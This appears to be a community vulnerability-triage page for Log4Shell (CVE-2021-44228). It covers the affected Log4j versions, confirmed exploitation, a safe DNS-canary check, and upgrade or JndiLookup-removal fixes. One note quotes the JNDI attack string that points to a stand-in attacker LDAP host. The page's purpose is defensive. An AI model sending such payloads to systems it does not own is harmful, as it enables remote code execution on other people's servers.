CVE-2021-44228: Log4Shell
Improper Input Validation: Is CVE-2021-44228 real, exploitable, or a false positive? Here's the community verdict.
signals
public sources
Confirmed exploited in the wild. Patch this first, regardless of the base score.
public exploits
links to sources — we don’t host codeA working exploit is publicly available from a maintained source. Treat this as higher urgency and verify your exposure.
baseline read
auto · not a community verdict
Real — exploited in the wild
CISA confirms active exploitation. Treat scanner hits as true positives unless your specific version or config is unaffected.
Based on CISA KEV
Confirm or dispute →CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
References
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Field notes & remediation
Verdicts are the quick signal. Notes are the evidence and fixes behind them.
- 0
This one is real. It is not scanner noise. If your app uses Log4j2 core version 2.0-beta9 to 2.14.1, and it writes attacker input into logs (like a User-Agent header, a username, or a search box), an attacker can run code on your server. The attack is very easy. They just send a string like
${jndi:ldap://attacker/a}in any field that gets logged. Log4j reads it, connects out, and loads their code. It was attacked at massive scale within hours. Assume every internet-facing Java app was tested.One common triage mistake: a vulnerable version being installed does not always mean it is exploitable here. If the app never logs untrusted input, or someone already removed the JndiLookup class, the real risk is much lower. But do not assume this without checking.
How to check safely: find the jar with
find / -name 'log4j-core-*.jar'and read the version. Then send a test payload like${jndi:ldap://<your-unique>.your-dns-canary/x}into a field that gets logged, and watch for a DNS lookup. If you get a callback, you are exploitable. Also note: version 2.15.0 was an incomplete fix (CVE-2021-45046). You need 2.17.1 or higher.Commonly flagged by: Trivy, Dependabot, Snyk, Nessus, Qualys.
- 0
Best fix is to upgrade, not to patch around it. Use Log4j 2.17.1+ (Java 8), 2.12.4 (Java 7), or 2.3.2 (Java 6). If you truly cannot upgrade right now, remove the class from the jar and restart:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Do not rely only onlog4j2.formatMsgNoLookups=true. It is incomplete and was bypassed. After patching, check for signs of a breach: outbound LDAP or RMI connections, strange child processes from the Java app, and new class files loaded at runtime.
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